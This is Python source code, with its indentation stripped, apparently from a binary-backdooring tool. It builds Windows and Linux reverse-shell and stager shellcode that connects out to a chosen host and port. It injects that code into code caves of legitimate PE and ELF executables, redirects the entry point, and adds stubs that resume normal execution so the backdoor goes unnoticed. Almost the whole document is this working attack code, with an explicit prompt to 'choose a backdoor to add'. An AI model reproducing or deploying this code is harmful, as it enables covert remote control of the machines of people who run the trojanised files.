breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 46)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 46)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 39)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xe5\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 58)
self.shellcode2 += '\xfc`\x89\xe51\xd2d\x8bR0\x8bR\x08'
self.shellcode2 += '\xbb'
if ((flItms['LoadLibraryA'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<I', (4294967295 + ((flItms['LoadLibraryA'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<I', (flItms['LoadLibraryA'] - flItms['ImageBase']))
self.shellcode2 += '\x01\xd3'
self.shellcode2 += '\xb9'
if ((flItms['GetProcAddress'] - flItms['ImageBase']) < 0):
self.shellcode2 += struct.pack('<I', (4294967295 + ((flItms['GetProcAddress'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<I', (flItms['GetProcAddress'] - flItms['ImageBase']))
self.shellcode2 += '\x01\xd1'
self.shellcode2 += 'h32\x00\x00hws2_T\x87\xf1\xff\x13hup\x00\x00htarthWSASTP\x97\xff\x16\x95\xb8\x90\x01\x00\x00)\xc4TP\x90\x90\xff\xd5htA\x00\x00hockehWSASTW\xff\x16\x951\xc0PPPP@P@P\xff\xd5\x95hect\x00hconnTW\xff\x16\x87\xcd\x95j\x05h'
self.shellcode2 += self.pack_ip_addresses()
self.shellcode2 += 'h\x02\x00'
self.shellcode2 += struct.pack('!H', self.PORT)
self.shellcode2 += '\x89\xe2j\x10RQ\x87\xf9\xff\xd5'
self.shellcode2 += '\x89\xe5h32\x00\x00hws2_T\xff\x13\x89\xc1j\x00hrecvTQ\xff\x16Pj\x00j\x04UW\xff\xd0\x8b4$\x8bm\x001\xd2d\x8bR0\x8bR\x08'
self.shellcode2 += '\xbb'
if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode2 += struct.pack('<I', (4294967295 + ((flItms['VirtualAlloc'] - flItms['ImageBase']) + 1)))
else:
self.shellcode2 += struct.pack('<I', (flItms['VirtualAlloc'] - flItms['ImageBase']))
self.shellcode2 += '\x01\xd3'
self.shellcode2 += 'j@h\x00\x10\x00\x00Uj\x00\xff\x13\x93Sj\x00USW\xff\xd6\x01\xc3)\xc5u\xf3\xc3'
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc'
self.shellcode1 += '\xbb'
if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd3'
self.shellcode1 += '\xb9'
if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd1'
self.shellcode1 += '\x8b\xe9'
self.shellcode1 += '\xbe'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += 'j@h\x00\x10\x00\x00Vj\x00'
self.shellcode1 += '\xff\x13'
self.shellcode1 += '\x89\xc3\x89\xc7\x89\xf1'
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xeb\x16'
self.shellcode1 += '^'
self.shellcode1 += '\xf2\xa41\xc0PPPSPP'
self.shellcode1 += '>\xffU\x00'
self.shellcode1 += 'Xa'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'This module allows for the user to provide a win32 raw/binary
shellcode. For use with the -U flag. Make sure to use a process safe exit function.'
|
def iat_user_supplied_shellcode_threaded(self, flItms, CavesPicked={}):
|
flItms['apis_needed'] = ['LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'CreateThread']
for api in flItms['apis_needed']:
if (api not in flItms):
return False
flItms['stager'] = True
if (flItms['supplied_shellcode'] is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
self.supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
breakupvar = eat_code_caves(flItms, 0, 1)
if (flItms['cave_jumping'] is True):
self.shellcode2 = '\xe8'
if (breakupvar > 0):
if (len(self.shellcode2) < breakupvar):
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - breakupvar) - len(self.shellcode2)) + 46)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((4294967295 - len(self.shellcode2)) - breakupvar) + 46)).rstrip('L')), 16))
else:
self.shellcode2 += struct.pack('<I', int(str(hex((((abs(breakupvar) + len(self.stackpreserve)) + len(self.shellcode2)) + 39)).rstrip('L')), 16))
else:
self.shellcode2 = '\xe8\xe5\xff\xff\xff'
if (flItms['NewCodeCave'] is False):
if (CavesPicked != {}):
self.shellcode2 += self.clean_caves_stub(flItms['CavesToFix'])
else:
self.shellcode2 += ('A' * 58)
self.shellcode2 += self.supplied_shellcode
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = '\xfc'
self.shellcode1 += '\xbb'
if ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['VirtualAlloc'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd3'
self.shellcode1 += '\xb9'
if ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) < 0):
self.shellcode1 += struct.pack('<I', (4294967295 + ((flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])) + 1)))
else:
self.shellcode1 += struct.pack('<I', (flItms['CreateThread'] - (flItms['AddressOfEntryPoint'] + flItms['ImageBase'])))
self.shellcode1 += '\x01\xd1'
self.shellcode1 += '\x8b\xe9'
self.shellcode1 += '\xbe'
self.shellcode1 += struct.pack('<I', (len(self.shellcode2) - 5))
self.shellcode1 += 'j@h\x00\x10\x00\x00Vj\x00'
self.shellcode1 += '\xff\x13'
self.shellcode1 += '\x89\xc3\x89\xc7\x89\xf1'
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
else:
self.shellcode1 += '\xeb\x16'
self.shellcode1 += '^'
self.shellcode1 += '\xf2\xa41\xc0PPPSPP'
self.shellcode1 += '>\xffU\x00'
self.shellcode1 += 'Xa'
breakupvar = eat_code_caves(flItms, 0, 2)
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex(((((4294967295 + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3)).rstrip('L')), 16))
else:
self.shellcode1 += '\xe9'
self.shellcode1 += struct.pack('<I', len(self.shellcode2))
self.shellcode = ((self.stackpreserve + self.shellcode1) + self.shellcode2)
return ((self.stackpreserve + self.shellcode1), self.shellcode2)
|
'Sample code for finding sutable code caves'
|
def cave_miner_inline(self, flItms, CavesPicked={}):
|
breakupvar = eat_code_caves(flItms, 0, 1)
self.shellcode1 = ''
if (flItms['cave_jumping'] is True):
self.shellcode1 += '\xe9'
if (breakupvar > 0):
if (len(self.shellcode1) < breakupvar):
self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
else:
self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
self.shellcode1 += ('\x90' * 40)
self.shellcode2 = ('\x90' * 48)
self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
|
'Function for finding two random 4 byte numbers that make
a \'ones compliment\''
|
def ones_compliment(self):
|
compliment_you = random.randint(1, 4228250625)
compliment_me = (int('0xFFFFFFFF', 16) - compliment_you)
if (self.VERBOSE is True):
print 'First ones compliment:', hex(compliment_you)
print '2nd ones compliment:', hex(compliment_me)
print "'AND' the compliments (0): ", (compliment_you & compliment_me)
self.compliment_you = struct.pack('<I', compliment_you)
self.compliment_me = struct.pack('<I', compliment_me)
|
'Updated to use Capstone-Engine'
|
def pe32_entry_instr(self):
|
print '[*] Reading win32 entry instructions'
self.f.seek(self.flItms['LocOfEntryinCode'])
self.count = 0
self.flItms['ImpList'] = []
md = Cs(CS_ARCH_X86, CS_MODE_32)
self.count = 0
for k in md.disasm(self.f.read(12), self.flItms['VrtStrtngPnt']):
self.count += k.size
_bytes = bytearray('')
if (len(k.bytes) < k.size):
_bytes = bytearray(('\x00' * (k.size - len(k.bytes))))
value_bytes = (k.bytes + _bytes)
self.flItms['ImpList'].append([int(hex(k.address).strip('L'), 16), k.mnemonic.encode('utf-8'), k.op_str.encode('utf-8'), (int(hex(k.address).strip('L'), 16) + k.size), value_bytes, k.size])
if ((self.count >= 6) or (((self.count % 5) == 0) and (self.count != 0))):
break
self.flItms['count_bytes'] = self.count
|
'For x64 files. Updated to use Capstone-Engine.'
|
def pe64_entry_instr(self):
|
print '[*] Reading win64 entry instructions'
self.f.seek(self.flItms['LocOfEntryinCode'])
self.count = 0
self.flItms['ImpList'] = []
md = Cs(CS_ARCH_X86, CS_MODE_64)
for k in md.disasm(self.f.read(12), self.flItms['VrtStrtngPnt']):
self.count += k.size
_bytes = bytearray('')
if (len(k.bytes) < k.size):
_bytes = bytearray(('\x00' * (k.size - len(k.bytes))))
value_bytes = (k.bytes + _bytes)
self.flItms['ImpList'].append([int(hex(k.address).strip('L'), 16), k.mnemonic.encode('utf-8'), k.op_str.encode('utf-8'), (int(hex(k.address).strip('L'), 16) + k.size), value_bytes, k.size])
if ((self.count >= 6) or (((self.count % 5) == 0) and (self.count != 0))):
break
self.flItms['count_bytes'] = self.count
|
'This function takes the flItms dict and patches the
executable entry point to jump to the first code cave.'
|
def patch_initial_instructions(self):
|
print '[*] Patching initial entry instructions'
self.f.seek(self.flItms['LocOfEntryinCode'])
self.f.write(struct.pack('=B', int('E9', 16)))
if (self.flItms['JMPtoCodeAddress'] < 0):
self.f.write(struct.pack('<I', (4294967295 + self.flItms['JMPtoCodeAddress'])))
else:
self.f.write(struct.pack('<I', self.flItms['JMPtoCodeAddress']))
if (self.flItms['count_bytes'] > 5):
for i in range((self.flItms['count_bytes'] - 5)):
self.f.write(struct.pack('=B', 144))
|
'For x64 exes...'
|
def resume_execution_64(self):
|
print '[*] Creating win64 resume execution stub'
resumeExe = ''
resumeExe += 'Q'
resumeExe += 'H\xc7\xc1'
resumeExe += struct.pack('<I', (len(self.flItms['shellcode']) - 6))
resumeExe += '\xe2\xfe'
resumeExe += 'Y'
total_opcode_len = 0
for item in self.flItms['ImpList']:
startingPoint = item[0]
OpCode = item[1]
CallValue = item[2]
ReturnTrackingAddress = item[3]
entireInstr = item[4]
total_opcode_len += item[5]
self.ones_compliment()
if (OpCode == 'call'):
CallValue = int(CallValue, 16)
resumeExe += 'H\x89\xd0'
resumeExe += 'H\x83\xc0'
resumeExe += struct.pack('<B', total_opcode_len)
resumeExe += 'P'
if (len(entireInstr[1:]) <= 4):
resumeExe += 'H\xc7\xc1'
resumeExe += entireInstr[1:]
elif (len(entireInstr[1:]) > 4):
resumeExe += 'H\xb9'
resumeExe += entireInstr[1:]
resumeExe += 'H\x01\xc8'
resumeExe += 'P'
resumeExe += 'H1\xc9'
resumeExe += 'H\x89\xf0'
resumeExe += 'H\x81\xe6'
resumeExe += self.compliment_you
resumeExe += 'H\x81\xe6'
resumeExe += self.compliment_me
resumeExe += '\xc3'
return (ReturnTrackingAddress, resumeExe)
elif any(((symbol in OpCode) for symbol in self.jmp_symbols)):
CallValue = int(CallValue, 16)
resumeExe += '\xb8'
aprox_loc_wo_alsr = (((((startingPoint + self.flItms['JMPtoCodeAddress']) + len(self.flItms['shellcode'])) + len(resumeExe)) + 200) + self.flItms['buffer'])
resumeExe += struct.pack('<I', aprox_loc_wo_alsr)
resumeExe += struct.pack('=B', int('E8', 16))
resumeExe += ('\x00' * 4)
resumeExe += struct.pack('=B', int('59', 16))
resumeExe += '+\xc1'
resumeExe += '=\x00\x05\x00\x00'
resumeExe += 'w\x0b'
resumeExe += '\x83\xc1\x16'
resumeExe += 'Q'
resumeExe += '\xb8'
if (OpCode is int('ea', 16)):
resumeExe += struct.pack('<BBBBBB', (CallValue + 5))
elif (CallValue > 429467295):
resumeExe += struct.pack('<I', abs((((CallValue + 5) - 4294967295) + 2)))
else:
resumeExe += struct.pack('<I', (CallValue + 5))
resumeExe += 'P\xc3'
resumeExe += '\x8b\xf0'
resumeExe += '\x8b\xc2'
resumeExe += '\xb9'
resumeExe += struct.pack('<I', (startingPoint - 5))
resumeExe += '+\xc1'
resumeExe += '\x05'
if (OpCode is int('ea', 16)):
resumeExe += struct.pack('<BBBBBB', (CallValue + 5))
elif (CallValue > 429467295):
resumeExe += struct.pack('<I', abs((((CallValue + 5) - 4294967295) + 2)))
else:
resumeExe += struct.pack('<I', CallValue)
resumeExe += 'P'
resumeExe += '3\xc9'
resumeExe += '\x8b\xc6'
resumeExe += '\x81\xe6'
resumeExe += self.compliment_you
resumeExe += '\x81\xe6'
resumeExe += self.compliment_me
resumeExe += '\xc3'
return (ReturnTrackingAddress, resumeExe)
else:
resumeExe += entireInstr
resumeExe += 'I\x81\xe7'
resumeExe += self.compliment_you
resumeExe += 'I\x81\xe7'
resumeExe += self.compliment_me
resumeExe += 'I\x81\xc7'
if (ReturnTrackingAddress >= 4294967295):
resumeExe += struct.pack('<Q', ReturnTrackingAddress)
else:
resumeExe += struct.pack('<I', ReturnTrackingAddress)
resumeExe += 'AW'
resumeExe += 'I\x81\xe7'
resumeExe += self.compliment_you
resumeExe += 'I\x81\xe7'
resumeExe += self.compliment_me
resumeExe += '\xc3'
return (ReturnTrackingAddress, resumeExe)
|
'This section of code imports the self.flItms[\'ImpList\'] from pe32_entry_instr
to patch the executable after shellcode execution'
|
def resume_execution_32(self):
|
print '[*] Creating win32 resume execution stub'
resumeExe = ''
resumeExe += 'Q'
resumeExe += '\xb9'
resumeExe += struct.pack('<I', (len(self.flItms['shellcode']) - 6))
resumeExe += '\xe2\xfe'
resumeExe += 'Y'
for item in self.flItms['ImpList']:
startingPoint = item[0]
OpCode = item[1]
CallValue = item[2]
ReturnTrackingAddress = item[3]
entireInstr = item[4]
self.ones_compliment()
if (OpCode == 'call'):
CallValue = int(CallValue, 16)
resumeExe += '\xb8'
if (self.flItms['LastCaveAddress'] == 0):
self.flItms['LastCaveAddress'] = self.flItms['JMPtoCodeAddress']
aprox_loc_wo_alsr = (((((startingPoint + self.flItms['LastCaveAddress']) + len(self.flItms['shellcode'])) + len(resumeExe)) + 500) + self.flItms['buffer'])
resumeExe += struct.pack('<I', aprox_loc_wo_alsr)
resumeExe += struct.pack('=B', int('E8', 16))
resumeExe += ('\x00' * 4)
resumeExe += struct.pack('=B', int('59', 16))
resumeExe += '+\xc1'
resumeExe += '=\x00\x05\x00\x00'
resumeExe += 'w\x12'
resumeExe += '\x83\xc1\x15'
resumeExe += 'Q'
resumeExe += '\xb8'
if (CallValue > 4294967295):
resumeExe += struct.pack('<I', ((CallValue - 4294967295) - 1))
else:
resumeExe += struct.pack('<I', CallValue)
resumeExe += '\xff\xe0'
resumeExe += '\xb8'
resumeExe += struct.pack('<I', item[3])
resumeExe += 'P\xc3'
resumeExe += '\x8b\xf0'
resumeExe += '\x8b\xc2'
resumeExe += '\xb9'
resumeExe += struct.pack('<I', startingPoint)
resumeExe += '+\xc1'
resumeExe += '\x05'
resumeExe += struct.pack('<I', ReturnTrackingAddress)
resumeExe += 'P'
resumeExe += '\x05'
resumeExe += entireInstr[1:]
resumeExe += 'P'
resumeExe += '3\xc9'
resumeExe += '\x8b\xc6'
resumeExe += '\x81\xe6'
resumeExe += self.compliment_you
resumeExe += '\x81\xe6'
resumeExe += self.compliment_me
resumeExe += '\xc3'
return (ReturnTrackingAddress, resumeExe)
elif any(((symbol in OpCode) for symbol in self.jmp_symbols)):
CallValue = int(CallValue, 16)
resumeExe += '\xb8'
aprox_loc_wo_alsr = (((((startingPoint + self.flItms['LastCaveAddress']) + len(self.flItms['shellcode'])) + len(resumeExe)) + 200) + self.flItms['buffer'])
resumeExe += struct.pack('<I', aprox_loc_wo_alsr)
resumeExe += struct.pack('=B', int('E8', 16))
resumeExe += ('\x00' * 4)
resumeExe += struct.pack('=B', int('59', 16))
resumeExe += '+\xc1'
resumeExe += '=\x00\x05\x00\x00'
resumeExe += 'w\x0b'
resumeExe += '\x83\xc1\x16'
resumeExe += 'Q'
resumeExe += '\xb8'
if (OpCode is int('ea', 16)):
resumeExe += struct.pack('<BBBBBB', (CallValue + 5))
elif (CallValue > 429467295):
resumeExe += struct.pack('<I', abs((((CallValue + 5) - 4294967295) + 2)))
else:
resumeExe += struct.pack('<I', (CallValue + 5))
resumeExe += 'P\xc3'
resumeExe += '\x8b\xf0'
resumeExe += '\x8b\xc2'
resumeExe += '\xb9'
resumeExe += struct.pack('<I', (startingPoint - 5))
resumeExe += '+\xc1'
resumeExe += '\x05'
if (OpCode is int('ea', 16)):
resumeExe += struct.pack('<BBBBBB', (CallValue + 5))
elif (CallValue > 429467295):
resumeExe += struct.pack('<I', abs((((CallValue + 5) - 4294967295) + 2)))
else:
resumeExe += struct.pack('<I', ((CallValue + 5) - 2))
resumeExe += 'P'
resumeExe += '3\xc9'
resumeExe += '\x8b\xc6'
resumeExe += '\x81\xe6'
resumeExe += self.compliment_you
resumeExe += '\x81\xe6'
resumeExe += self.compliment_me
resumeExe += '\xc3'
return (ReturnTrackingAddress, resumeExe)
else:
resumeExe += entireInstr
resumeExe += '%'
resumeExe += self.compliment_you
resumeExe += '%'
resumeExe += self.compliment_me
resumeExe += '\x05'
resumeExe += struct.pack('<I', ReturnTrackingAddress)
resumeExe += 'P'
resumeExe += '%'
resumeExe += self.compliment_you
resumeExe += '%'
resumeExe += self.compliment_me
resumeExe += '\xc3'
return (ReturnTrackingAddress, resumeExe)
|
'Modified from metasploit payload/linux/x86/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
|
def reverse_shell_tcp(self, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += '1\xdb\xf7\xe3SCSj\x02\x89\xe1\xb0f\xcd\x80\x93Y\xb0?\xcd\x80Iy\xf9h'
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += 'h\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += '\x89\xe1\xb0fPQS\xb3\x03\x89\xe1\xcd\x80Rh//shh/bin\x89\xe3RS\x89\xe1\xb0\x0b\xcd\x80'
self.shellcode = self.shellcode1
return self.shellcode1
|
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit payload/linux/x64/shell/reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
|
def reverse_tcp_stager(self, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
return False
self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += '1\xdb\xf7\xe3SCSj\x02\xb0f\x89\xe1\xcd\x80\x97[h'
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += 'h\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += '\x89\xe1jfXPQW\x89\xe1C\xcd\x80\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0}\xcd\x80[\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1'
self.shellcode = self.shellcode1
return self.shellcode1
|
'For user supplied shellcode'
|
def user_supplied_shellcode(self, CavesPicked={}):
|
if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
return False
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
self.shellcode1 += '\xbd'
self.shellcode1 += struct.pack('<I', self.e_entry)
self.shellcode1 += '\xff\xe5'
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return self.shellcode1
|
'Call this if you want to run the entire process with a ELF binary.'
|
def run_this(self):
|
self.bin_file = open(self.FILE, 'r+b')
if (self.FIND_CAVES is True):
self.support_check()
self.gather_file_info()
if (self.supported is False):
print self.FILE, 'is not supported.'
return False
print ('Looking for caves with a size of %s bytes (measured as an integer)' % self.SHELL_LEN)
self.find_all_caves()
return True
if (self.SUPPORT_CHECK is True):
if (not self.FILE):
print 'You must provide a file to see if it is supported (-f)'
return False
try:
self.support_check()
except Exception as e:
self.supported = False
print 'Exception:', str(e), ('%s' % self.FILE)
if (self.supported is False):
print ('%s is not supported.' % self.FILE)
self.print_supported_types()
return False
else:
print ('%s is supported.' % self.FILE)
return True
return self.patch_elf()
|
'This function finds all the codecaves in a inputed file.
Prints results to screen. Generally not many caves in the ELF
format. And why there is no need to cave jump.'
|
def find_all_caves(self):
|
print '[*] Looking for caves'
SIZE_CAVE_TO_FIND = 94
BeginCave = 0
Tracking = 0
count = 1
caveTracker = []
caveSpecs = []
self.bin_file.seek(0)
while True:
try:
s = struct.unpack('<b', self.bin_file.read(1))[0]
except:
break
if (s == 0):
if (count == 1):
BeginCave = Tracking
count += 1
else:
if (count >= SIZE_CAVE_TO_FIND):
caveSpecs.append(BeginCave)
caveSpecs.append(Tracking)
caveTracker.append(caveSpecs)
count = 1
caveSpecs = []
Tracking += 1
for caves in caveTracker:
for section in self.sec_hdr.iteritems():
section = section[1]
sectionFound = False
if ((caves[0] >= section['sh_offset']) and (caves[1] <= (section['sh_size'] + section['sh_offset'])) and ((caves[1] - caves[0]) >= SIZE_CAVE_TO_FIND)):
print 'We have a winner:', section['name']
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', (caves[1] - caves[0])
print 'sh_size', hex(section['sh_size'])
print 'sh_offset', hex(section['sh_offset'])
print 'End of Raw Data:', hex((section['sh_size'] + section['sh_offset']))
print ('*' * 50)
sectionFound = True
break
if (sectionFound is False):
try:
print 'No section'
print '->Begin Cave', hex(caves[0])
print '->End of Cave', hex(caves[1])
print 'Size of Cave (int)', (caves[1] - caves[0])
print ('*' * 50)
except Exception as e:
print str(e)
print ('[*] Total of %s caves found' % len(caveTracker))
|
'This function sets the shellcode.'
|
def set_shells(self):
|
avail_shells = []
self.bintype = False
if (self.e_machine == 3):
if (self.EI_CLASS == 1):
if (self.EI_OSABI == 0):
self.bintype = linux_elfI32_shellcode
elif ((self.EI_OSABI == 9) or (self.EI_OSABI == 12)):
self.bintype = freebsd_elfI32_shellcode
elif (self.e_machine == 62):
if (self.EI_CLASS == 2):
if (self.EI_OSABI == 0):
self.bintype = linux_elfI64_shellcode
elif (self.e_machine == 40):
if (self.EI_CLASS == 1):
if (self.EI_OSABI == 0):
self.bintype = linux_elfarmle32_shellcode
if (not self.SHELL):
print 'You must choose a backdoor to add: '
for item in dir(self.bintype):
if ('__' in item):
continue
elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)):
continue
else:
print ' {0}'.format(item)
return False
if (self.SHELL not in dir(self.bintype)):
print ('The following %ss are available:' % str(self.bintype).split('.')[1])
for item in dir(self.bintype):
if ('__' in item):
continue
elif (('returnshellcode' == item) or ('pack_ip_addresses' == item) or ('eat_code_caves' == item) or ('ones_compliment' == item) or ('resume_execution' in item) or ('returnshellcode' in item)):
continue
else:
print ' {0}'.format(item)
avail_shells.append(item)
self.avail_shells = avail_shells
return False
if (self.e_machine == 40):
self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE, self.shellcode_vaddr)
else:
self.shells = self.bintype(self.HOST, self.PORT, self.e_entry, self.SUPPLIED_SHELLCODE)
self.allshells = getattr(self.shells, self.SHELL)(self.e_entry)
self.shellcode = self.shells.returnshellcode()
|
'Prints supported types'
|
def print_supported_types(self):
|
print 'Supported system types:'
for system_type in self.supported_types.iteritems():
print ' ', elf.e_ident['EI_OSABI'][system_type[0]]
print ' Arch type:'
for class_type in system_type[1][0]:
print ' DCTB ', elf.e_ident['EI_CLASS'][class_type]
print ' Chip set:'
for e_mach_type in system_type[1][1]:
print ' DCTB ', elf.e_machine[e_mach_type]
print ('*' * 25)
|
'Checks for support'
|
def support_check(self):
|
with open(self.FILE, 'r+b') as bin_file:
print '[*] Checking file support'
bin_file.seek(0)
if (bin_file.read(4) == elf.e_ident['EI_MAG']):
bin_file.seek(4, 0)
self.class_type = struct.unpack('<B', bin_file.read(1))[0]
bin_file.seek(7, 0)
self.EI_OSABI = struct.unpack('<B', bin_file.read(1))[0]
self.supported = False
for system_type in self.supported_types.iteritems():
if (self.EI_OSABI == system_type[0]):
print '[*] System Type Supported:', elf.e_ident['EI_OSABI'][system_type[0]]
if ((self.class_type == 1) and ((self.IMAGE_TYPE == 'ALL') or (self.IMAGE_TYPE == 'x86'))):
self.supported = True
elif ((self.class_type == 2) and ((self.IMAGE_TYPE == 'ALL') or (self.IMAGE_TYPE == 'x64'))):
self.supported = True
break
else:
self.supported = False
|
'Get section names'
|
def get_section_name(self, section_offset):
|
self.bin_file.seek((self.sec_hdr[self.e_shstrndx]['sh_offset'] + section_offset), 0)
name = ''
j = ''
while True:
j = self.bin_file.read(1)
if (hex(ord(j)) == '0x0'):
break
else:
name += j
return name
|
'Set the section names'
|
def set_section_name(self):
|
for i in range(0, (self.e_shstrndx + 1)):
self.sec_hdr[i]['name'] = self.get_section_name(self.sec_hdr[i]['sh_name'])
if (self.sec_hdr[i]['name'] == '.text'):
self.text_section = i
|
'Gather info about the binary'
|
